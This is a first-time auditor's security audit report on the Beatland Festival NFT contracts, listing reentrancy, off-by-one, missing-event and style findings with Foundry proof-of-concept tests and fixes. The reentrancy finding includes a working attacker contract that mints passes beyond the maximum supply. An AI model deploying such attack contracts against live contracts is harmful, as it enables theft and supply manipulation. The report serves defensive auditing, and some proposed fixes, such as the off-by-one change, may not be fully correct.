Beatland Festival Audit Report

Version 1.0

Lighterret

July 25, 2025

Beatland Festival Audit Report

Lighterret

July 25, 2025

Prepared by: Lighterret

Lead Security Researcher: Lighterret

Table of Contents

- Low
  - [L-1] `FestivalPass:setOrganizer` doesn't emit an event
  - [L-2] `FestivalPass:withdraw` does not emit event when organizer withdraws funds
  - [L-3] Multiple emissions in `FestivalPass` occur after the effect
- Informational
  - [I-1] `IFestivalPass:FundsWithdrawn` natspec is incorrect
  - [I-2] Magic numbers in `FestivalPass` should be constants

Protocol Summary

"A festival NFT ecosystem on Ethereum where users purchase tiered passes (ERC1155), attend virtual(or not) performances to earn BEAT tokens (ERC20), and redeem unique memorabilia NFTs (integrated in the same ERC1155 contract) using BEAT tokens." - README.md

Disclaimer

The Lighterret team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
5034ccf16e4c0be96de2b91d19c69963ec7e3ee3
```

Scope

```
src/
#-- BeatToken.sol
#-- FestivalPass.sol
#-- interfaces
    #-- IFestivalPass.sol
```

Roles

- Owner: The owner and deployer of contracts, sets the Organizer address, collects the festival proceeds.
- Organizer: Configures performances and memorabilia.
- Attendee: Customer that buys a pass and attends performances. They use rewards received for attending performances to buy memorabilia.

Executive Summary

I spent approximately 1 week using Foundry & Slither and found 7 different issues. This is my first audit and I felt it went well.

Issues found

Severity	Number of issues found
High	1
Medium	1
Low	3
Info	2

Severity	Number of issues found
Total	7

Findings

High

[H-1] Reentrancy attack in `FestivalPass:buyPass` allows entrant to buy unlimited festival passes

Description: `FestivalPass:buyPass` allows users to purchase passes by minting a new pass in exchange for the pass price. `FestivalPass:buyPass` does not follow CEI and allows users to purchase more passes then the maximum supply. `_mint` makes an external call to send a freshly minted ERC1155 token to the caller and only after `_mint` is called is the `passSupply[collectionId]` updated

If the receiver of the token is a contract that implements the `onERC1155Received` function, the contract can call `FestivalPass:buyPass` again, allowing them to purchase as many passes as they want ignoring the max supply of the passes.

```
    function buyPass(uint256 collectionId) external payable {
        // Must be valid pass ID (1 or 2 or 3)
        require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
        // Check payment and supply
        require(msg.value == passPrice[collectionId], "Incorrect payment amount");
        require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
        // Mint 1 pass to buyer
@>      _mint(msg.sender, collectionId, 1, "");
@>      ++passSupply[collectionId];
        // VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
        uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
        if (bonus > 0) {
            // Mint BEAT tokens to buyer
            BeatToken(beatToken).mint(msg.sender, bonus);
        }
        emit PassPurchased(msg.sender, collectionId);
    }
```

Likelihood: High likelihood as reentrancy attacks like this are a known attack pattern and users may want additional passes/BeatTokens

Impact: The `passMaxSupply[collectionId]` is ignored, allowing unlimited tickets to be purchased.

- Also an unintended amount of `BeatToken` would be minted as bonus for any VIP or BACKSTAGE pass purchases from this exploit. Ex: for VIP tickets, normally only the maximum supply of tickets multiplied by the bonus would be minted in total: `passMaxSupply[VIP_PASS] * 5e18`. Since the maximum supply is bypassed, more bonus tokens are created.

Proof of Concept

1. Attacker creates a contract with the `onERC1155Received` function that calls `FestivalPass:buyPass`
2. Attacker repeatedly calls the `FestivalPass:buyPass` from the attack contract, purchasing more than the max supply of passes.

Place the following into `FestivalPass.t.sol`

```
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";

contract FestivalPassTest is Test {
...

    function test_BuyPassReentrancy() public {
        uint256 BACKSTAGE_PASS = 3;
        // Configure pass with a maximum supply of 1
        uint256 BACKSTAGE_NEW_MAX_SUPPLY = 1;
        uint256 BACKSTAGE_OVERSUPPLY = BACKSTAGE_NEW_MAX_SUPPLY + 10;
        vm.prank(organizer);
        festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE,
            BACKSTAGE_NEW_MAX_SUPPLY);

        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, BACKSTAGE_PRICE * BACKSTAGE_OVERSUPPLY);

        BuyPassReentrancyAttacker buyPassReentrancyAttacker = new
            BuyPassReentrancyAttacker(festivalPass);
        uint256 startingBackstagePassTotal = festivalPass.passSupply(
            BACKSTAGE_PASS);
        console.log("starting number of Backstage passes: ",
            startingBackstagePassTotal);

        // Attack
        vm.prank(attackUser);
        buyPassReentrancyAttacker.attack{value: BACKSTAGE_PRICE *
            BACKSTAGE_OVERSUPPLY}();

        uint256 endingBackstagePassTotal = festivalPass.passSupply(
            BACKSTAGE_PASS);
        console.log("ending number of Backstage passes: ",
            endingBackstagePassTotal);

        assertGt(endingBackstagePassTotal, BACKSTAGE_NEW_MAX_SUPPLY);
    }
}

contract BuyPassReentrancyAttacker is ERC1155Holder {
    FestivalPass festivalPass;
    uint256 BACKSTAGE_PRICE;
    uint256 BACKSTAGE_PASS = 3;

    constructor(FestivalPass _festivalPass) {
        festivalPass = _festivalPass;
        BACKSTAGE_PRICE = festivalPass.passPrice(BACKSTAGE_PASS);
    }

    function attack() public payable {
        festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
    }

    function _attack() internal {
        if (address(this).balance >= BACKSTAGE_PRICE) {
            attack();
        }
    }

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes memory
    ) public virtual override returns (bytes4) {
        _attack();
        return this.onERC1155Received.selector;
    }
}
```

Recommended Mitigation: To prevent this, `FestivalPass:buyPass` should update `++passSupply[collectionId];` before the `_mint` function makes the external call. Also, the emission event should happen before the `_mint` function.

```
    function buyPass(uint256 collectionId) external payable {
        // Must be valid pass ID (1 or 2 or 3)
        require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
        // Check payment and supply
        require(msg.value == passPrice[collectionId], "Incorrect payment amount");
        require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
        // Mint 1 pass to buyer
+       ++passSupply[collectionId];
+       emit PassPurchased(msg.sender, collectionId);
        _mint(msg.sender, collectionId, 1, "");
-       ++passSupply[collectionId];
        // VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
        uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
        if (bonus > 0) {
            // Mint BEAT tokens to buyer
            BeatToken(beatToken).mint(msg.sender, bonus);
        }
-       emit PassPurchased(msg.sender, collectionId);
    }
```

Medium

[M-1] Off by 1 error in `FestivalPass:redeemMemorabilia` means -1 maximum memorabilia can be redeemed

Description: Users should be able to call `FestivalPass:redeemMemorabilia` to redeem beat tokens for memorabilia until the maximum number of memorabilia is reached. When `createMemorabiliaCollection` is called by the organizer, the `currentItemId` starts at 1. The require statement in `FestivalPass:redeemMemorabilia` incorrectly assumes `currentItemId` is equal to the current number of memorabilia redeemed, but is actually equal to +1.

```
    function redeemMemorabilia(uint256 collectionId) external {
        MemorabiliaCollection storage collection = collections[collectionId];
        require(collection.priceInBeat > 0, "Collection does not exist");
        require(collection.isActive, "Collection not active");
@>      require(collection.currentItemId < collection.maxSupply, "Collection sold out");
        ...
```

Likelihood: This issue occurs 100% of the time when users call `FestivalPass:redeemMemorabilia`

Impact: The biggest impact is when an organizer makes a memorabilia with a maximum supply of 1, then no user will be able to redeem that memorabilia.

- For all other maximum supplies greater than 1, users will be able to use the `FestivalPass:redeemMemorabilia` until the maximum supply -1 is reached

Proof of Concept

1. The organizer creates a memorabilia collection with a maximum supply of 1
2. A user with enough beat tokens to redeem the memorabilia tries and fails to redeem the memorabilia

Place the following into `FestivalPass.t.sol`

```
    function test_RedeemMemorabiliaMax() public {
        // Set max supply to 1
        uint256 MEM_MAX_SUPPLY = 1;
        uint256 MEM_PRICE = 100e18;
        vm.prank(organizer);
        uint256 collectionId = festivalPass.createMemorabiliaCollection
            (
            "Detail Test",
            "ipfs://QmTest",
            MEM_PRICE,
            MEM_MAX_SUPPLY,
            true
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 10 ether);
        vm.prank(address(festivalPass));
        beatToken.mint(attackUser, MEM_PRICE * 10);

        vm.startPrank(attackUser);
        // No redemptions are possible
        vm.expectRevert();
        festivalPass.redeemMemorabilia(collectionId);
        vm.stopPrank();
    }
```

Recommended Mitigation

Since `collection.currentItemId` starts at 1, use <= to check if the `collection.maxSupply` has been reached.

```
    function redeemMemorabilia(uint256 collectionId) external {
        MemorabiliaCollection storage collection = collections[
           collectionId];
        require(collection.priceInBeat > 0, "Collection does not exist"
           );
        require(collection.isActive, "Collection not active");
+       require(collection.currentItemId <= collection.maxSupply, "
   Collection sold out");
-       require(collection.currentItemId < collection.maxSupply, "
   Collection sold out");
        ...
```

Low

[L-1] `FestivalPass:setOrganizer` doesn't emit an event

Description: The owner can change the organizer using the `FestivalPass:setOrganizer` function. The issue is no event is emitted. `IFestivalPass` does not have an event for this critical function

```
    function setOrganizer(address _organizer) public onlyOwner {
@>      organizer = _organizer;
    }
```

Likelihood: This occurs every time `FestivalPass:setOrganizer` is called.

Impact: External applications relying on the emission to detect suspicious organizer updates would not function correctly

Proof of Concept:

Place the following into `FestivalPass.t.sol`

```
    event OrganizerUpdated(address indexed organizer);
...
    function test_SetOrganizer_Emit() public {
        address newOrganizer = makeAddr("newOrganizer");
        vm.expectEmit(true, true, false, true);
        emit OrganizerUpdated(address(newOrganizer));
        festivalPass.setOrganizer(newOrganizer);
    }
```

Recommended Mitigation:

Place the following into `IFestivalPass.sol`

```
+   /**
+    * @notice Emitted when the owner updates the organizer
+    * @param organizer Address of the new organizer
+      */
+    event OrganizerUpdated(address indexed organizer);
```

Place the following into FestivalPass.sol

```
     function setOrganizer(address _organizer) public onlyOwner {
+        emit OrganizerUpdated(_organizer);
         organizer = _organizer;
     }
```

[L-2] `FestivalPass:withdraw` does not emit event when organizer withdraws funds

Description: The owner can withdraw funds using the `FestivalPass:withdraw` function. The issue is no event is emitted. The event `IFestivalPass:FundsWithdrawn` exists, but `FestivalPass` does not implement it.

```
     // Organizer withdraws ETH
     function withdraw(address target) external onlyOwner {
@>       payable(target).transfer(address(this).balance);
     }
```

Likelihood: This occurs every time `FestivalPass:withdraw` is called.

Impact: External applications relying on the emission to detect suspicious withdraws would not function properly.

Proof of Concept:

Place the following into `FestivalPass.t.sol` and expect it to fail on the vm.expectEmit()

```
    event FundsWithdrawn(address indexed target, uint256 amount);
...
    function test_Withdraw_Emit() public {
        // User buys pass
        uint256 GENERAL_PASS = 1;
        vm.prank(user1);
        festivalPass.buyPass{value: GENERAL_PRICE}(GENERAL_PASS);

        uint256 expectedBalance = GENERAL_PRICE;
        assertEq(address(festivalPass).balance, expectedBalance);

        vm.prank(owner);
        vm.expectEmit(true, true, false, true);
        emit FundsWithdrawn(address(organizer), expectedBalance);
        festivalPass.withdraw(organizer);
    }
```

Recommended Mitigation:

Place the following into `FestivalPass.sol`

```diff
    // Organizer withdraws ETH
    function withdraw(address target) external onlyOwner {
+       emit FundsWithdrawn(target, address(this).balance);
        payable(target).transfer(address(this).balance);
    }
```

See related issue: "[I-1] `IFestivalPass:FundsWithdrawn` natspec is incorrect"

[L-3] Multiple emissions in `FestivalPass` occur after the effect

Description: Functions in `FestivalPass` emit events when critical or important states are updated. However there are multiple functions that emit their event after the effect is done. They are `FestivalPass:attendPerformance` and `FestivalPass:redeemMemorabilia`. It's best practice to follow CEI.

- Note that the emission in `FestivalPass:buyPass` is addressed in the issue: "Reentrancy attack in `FestivalPass:buyPass` allows entrant to buy unlimited festival passes"

Recommended Mitigation:

```diff
    // Attend a performance to earn BEAT
    function attendPerformance(uint256 performanceId) external {
        require(isPerformanceActive(performanceId), "Performance is not
            active");
        require(hasPass(msg.sender), "Must own a pass");
        require(!hasAttended[performanceId][msg.sender], "Already
            attended this performance");
        require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN,
            "Cooldown period not met");
        hasAttended[performanceId][msg.sender] = true;
        lastCheckIn[msg.sender] = block.timestamp;

        uint256 multiplier = getMultiplier(msg.sender);
+       emit Attended(msg.sender, performanceId, performances[
    performanceId].baseReward * multiplier);
        BeatToken(beatToken).mint(msg.sender, performances[
            performanceId].baseReward * multiplier);
-       emit Attended(msg.sender, performanceId, performances[
    performanceId].baseReward * multiplier);
...
    // Redeem a memorabilia NFT from a collection
    function redeemMemorabilia(uint256 collectionId) external {
        MemorabiliaCollection storage collection = collections[
            collectionId];
        require(collection.priceInBeat > 0, "Collection does not exist"
            );
        require(collection.isActive, "Collection not active");
        require(collection.currentItemId < collection.maxSupply, "
            Collection sold out");

        // Burn BEAT tokens
        BeatToken(beatToken).burnFrom(msg.sender, collection.
            priceInBeat);

        // Generate unique token ID
        uint256 itemId = collection.currentItemId++;
        uint256 tokenId = encodeTokenId(collectionId, itemId);

        // Store edition number
        tokenIdToEdition[tokenId] = itemId;

        // Mint the unique NFT
+       emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId,
    itemId);
        _mint(msg.sender, tokenId, 1, "");
-
-       emit MemorabiliaRedeemed(msg.sender, tokenId, collectionId,
    itemId);
}
    }
```

Informational

[I-1] `IFestivalPass:FundsWithdrawn` natspec is incorrect

Description: The natspec for `IFestivalPass:FundsWithdrawn` and a comment above `FestivalPass:withdraw` says that the organizer withdraws the fees. However, the README.md says it's the owner. Also the owner is the user who can actually call the `FestivalPass:withdraw` function.

- Clarification from the team would be great, but for this I'll follow the README.md and the implementation of `FestivalPass:withdraw` and assume the owner should be the user to withdraw funds.

In `IFestivalPass`:

```
    /**
@>   * @notice Emitted when the organizer withdraws collected funds
@>   * @param organizer Address of the organizer
     * @param amount Amount of ETH withdrawn
     */
@>  event FundsWithdrawn(address indexed organizer, uint256 amount);
```

In `FestivalPass`:

```
@>  // Organizer withdraws ETH
    function withdraw(address target) external onlyOwner {
```

Recommended Mitigation: The natspec, event and comment should be updated to show that the owner is who can withdraw funds

In `IFestivalPass`:

```
    /**
+    * @notice Emitted when the owner withdraws collected funds
+    * @param target Address of the target address to receive funds
     * @param amount Amount of ETH withdrawn
     */
+   event FundsWithdrawn(address indexed target, uint256 amount);
```

In `FestivalPass`:

```
-   // Organizer withdraws ETH
+   // Owner withdraws ETH
    function withdraw(address target) external onlyOwner {
```

[I-2] Magic numbers in `FestivalPass` should be constants

Description: `FestivalPass`:`buyPass` uses magic numbers for the bonus BeatTokens to be given to VIP and BACKSTAGE pass purchases. Using clearly defined constants is a better practice and more clear

Recommended Mitigation:

```
+   // BeatToken Bonuses
+   uint256 constant VIP_PASS_BONUS = 5e18;
+   uint256 constant BACKSTAGE_PASS_BONUS = 15e18;
...

    function buyPass(uint256 collectionId) external payable {
...
-   uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId
   == BACKSTAGE_PASS) ? 15e18 : 0;
+   uint256 bonus = (collectionId == VIP_PASS) ? VIP_PASS_BONUS : (
   collectionId == BACKSTAGE_PASS) ? BACKSTAGE_PASS_BONUS : 0;
    }
```